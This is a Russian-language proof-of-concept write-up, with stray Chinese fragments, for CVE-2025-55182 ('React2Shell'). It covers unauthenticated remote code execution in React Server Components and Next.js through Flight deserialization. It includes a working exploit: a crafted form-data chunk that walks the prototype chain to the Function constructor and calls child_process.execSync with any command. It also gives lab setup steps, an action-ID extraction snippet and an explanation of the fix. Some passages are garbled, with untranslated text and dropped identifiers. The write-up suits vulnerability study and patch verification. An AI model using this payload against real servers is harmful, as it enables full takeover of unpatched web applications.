
Концепт-эксплойт для CVE-2025-55182 (React2Shell): неаутентифицированное удалённое выполнение кода (RCE) в React Server Components / Next.js через десериализацию протокола Flight.
CVE-2025-55182 — одна из самых масштабных уязвимостей веб-фреймворков 2025 года. React Server Components (RSC) уже стали основной архитектурой современных Next.js-приложений, и множество стандартных проектов, созданных с помощью create-next-app, попадают в зону поражения, причём уязвимость может быть использована без какого-либо кастомного кода.
| Параметр | Значение |
|---|---|
| Идентификатор CVE | CVE-2025-55182 |
| Псевдоним | React2Shell |
| Тип уязвимости | Неаутентифицированное удалённое выполнение кода (Unauthenticated RCE); CWE-502 — десериализация недоверенных данных (Deserialization of Untrusted Data) [3] |
| Оценка CVSS | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Затронутые пакеты | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Затронутые версии | React 19.0.0–19.2.0 / Next.js 14.3.0-canary.77 и выше, 15.x, 16.x |
| Сложность атаки | Очень низкая (один HTTP POST-запрос) |
| Требуется ли аутентификация | Нет |
Создайте Next-приложение, используя уязвимую версию (16.0.6):
pnpm create [email protected] next-app --yes
Добавьте в next-app/app/ файл actions.ts и пометьте его как Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
На главной странице (например, app/page.tsx) добавьте форму, у которой action указывает на указанный выше testAction, и которая содержит как минимум одно поле (например, hidden input).
Next.js сгенерирует для этой формы в HTML скрытый input с
name="$ACTION_ID_<40 字元 hex>"; POC извлечёт этот ID из HTML главной страницы с помощью регулярного выражения.
Находящиеся в проекте next-app/Dockerfile и docker-compose.yml можно использовать для сборки и запуска Next-приложения; их состав можно посмотреть в официальном примере [8].
Выполните в корне проекта:
docker compose up --build -d
После этого запущенное Next-приложение будет доступно по адресу http://localhost:3000.
После завершения работы с POC полностью удалите Docker-окружение:
docker compose down -v
При запуске POC скрипт выполняет fetch главной страницы и извлекает ID с помощью регулярного выражения \$ACTION_ID_([a-f0-9]{40})/. Пример:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
Установите зависимости в корне проекта и выполните:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Ниже приведён ключевой фрагмент кода:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
В качестве примера ниже показана запись файла на целевой хост:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec и посмотреть, либо использовать Docker Desktop.Уязвимость находится в механизме десериализации протокола Flight в React (RSC Flight Deserializer). Этот механизм отвечает за передачу состояния React-компонентов между сервером и клиентом, однако в процессе обработки существует серьёзная проблема с границей доверия.
Протокол React Flight — это линейный формат (wire format), разработанный React для Server Components и Server Actions: он сериализует дерево компонентов, параметры функций и т.д. в поток чанков, представленный в JSON, и устанавливает ссылки между чанками с помощью
$數字,$數字:鍵名, позволяя серверу восстановить полное JavaScript-значение.
攻擊者發送惡意 HTTP POST
↓
[階段 1] 建立自我參照迴圈物件(Self-referential loop)
↓
[階段 2] 誘騙 JavaScript 引擎呼叫攻擊者控制的函式
↓
[階段 3] 注入惡意資料觸發 Flight 初始化流程
↓
[階段 4] 透過 Blob Handler 呼叫 Function constructor
↓
任意 JavaScript 在伺服器端執行(RCE)
Server Functions в React (в Next.js это Server Actions) сериализуют данные, которые фронтенд отправляет бэкенду, через протокол React Flight в отдельные чанки, а затем отправляют их в виде данных формы (form data).
Преимущества такого подхода включают:
Чанки могут ссылаться друг на друга, например:
["$1"] (ссылка на чанк 1){"object":"fruit","name":"$2:fruitName"} (ссылка на fruitName во 2-м чанке){"fruitName":"cherry"}После интерпретации сервер получает: { object: 'fruit', name: 'cherry' }. То есть протокол позволяет указывать на свойства других чанков через $數字:鍵名 и затем собирать итоговый JavaScript-объект.
В реализации до исправления при разборе этих ссылок строго не проверялось, существует ли ключ непосредственно в самом объекте, поэтому атакующий мог через ссылку прочитать свойства прототипа объекта (prototype).
Например, можно сконструировать такой payload:
["$1:__proto__:constructor:constructor"]{"x":1}Когда сервер разбирает «__proto__ → constructor → constructor чанка 1», он получает конструктор Function ([Function: Function]), то есть встроенный конструктор, создающий функцию из строки. То есть: через некорректную цепочку ссылок на сервере можно получить Function и затем выполнять строку как код.
После получения формы Next.js восстанавливает из чанков одно значение с помощью decodeReplyFromBusboy и выполняет по нему await.
В JavaScript объект, имеющий метод .then, считается thenable; при await вызывается этот .then. Поэтому если можно заставить .then «результата декодирования» указывать на управляемую атакующим функцию (например, упомянутый выше конструктор Function), то логика выполнится в момент await. Следующий шаг атаки: сконструировать объект, который после декодирования выглядит как thenable, и направить его .then на нужную точку вызова (call gadget).
Ссылка на «исходный чанк» через $@0
В протоколе $@數字 означает «взять исходное содержимое N-го чанка без дальнейшего разбора». Поэтому можно сделать chunk 1 равным "$@0", чтобы в процессе разбора читалось исходное представление «самого chunk 0».
Направление .then чанка 0 на прототип Chunk
Если chunk 0 — объект вида {"then": "$1:__proto__:then", ...}, а chunk 1 — "$@0", то при разборе .then чанка 0 будет установлен в Chunk.prototype.then (в протоколе Flight сам Chunk является thenable). Таким образом, когда Next.js выполняет await над результатом декодирования, он попадает в логику .then класса Chunk.
Запуск initializeModelChunk
В Chunk.prototype.then, если status этого «фальшивого чанка» равен "resolved_model", происходит переход в . Здесь чанка разбирается как JSON, и к полученному объекту применяется цикл «оживления» (revive), в котором обрабатываются различные специальные префиксы (например, blob-ссылки, начинающиеся с ).
React исправил эту уязвимость в PR #35277 [9] (commit e2fd5dc [10]); есть два ключевых момента:
Ограничение разрешения свойств без прохода по цепочке prototype
В логике разрешения ссылок на чанки (например, в requireModule) сначала добавляется проверка hasOwnProperty, существует ли ключ непосредственно в самом объекте; если нет — возвращается undefined, и такие свойства, как constructor, больше не извлекаются из __proto__. Это изменение применено к нескольким модулям, связанным с Flight (например, ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack, а также соответствующим конфигурациям Parcel / Turbopack), что блокирует цепочку эксплуатации «получение конструктора Function через ссылку → создание thenable → запуск get-gadget для выполнения произвольного кода».
Обработка ошибок в decodeReplyFromBusboy
При разборе form data (resolveField, resolveFileComplete и т.д.) добавлен try/catch: при возникновении ошибки разбора вызывается busboyStream.destroy(error), что обеспечивает корректную передачу ошибки и предотвращает нахождение потока в несогласованном состоянии, снижая поверхность атаки при аномалиях разбора.
initializeModelChunkvalue$BТочка вызова: _response._formData.get(_prefix + id)
При обработке префикса $B программа выполняет:
response._formData.get(response._prefix + 某個 id).
Если в фальшивом чанке через _response контролируются _formData и _prefix, а _formData.get указывает на конструктор Function, а _prefix установлен в строку с исполняемым кодом, то эта строка превращается в:
Function("我們寫的程式碼" + "0")
То есть «создание функции из строки». Эта функция будет возвращена как значение .then данного чанка и вызвана через await в той же цепочке promise, что приведёт к выполнению нашего кода на сервере.
Фактический RCE
Замените «наш код» на, например:
process.mainModule.require('child_process').execSync('要執行的系統指令');
что позволит добиться удалённого выполнения кода (RCE) на сервере.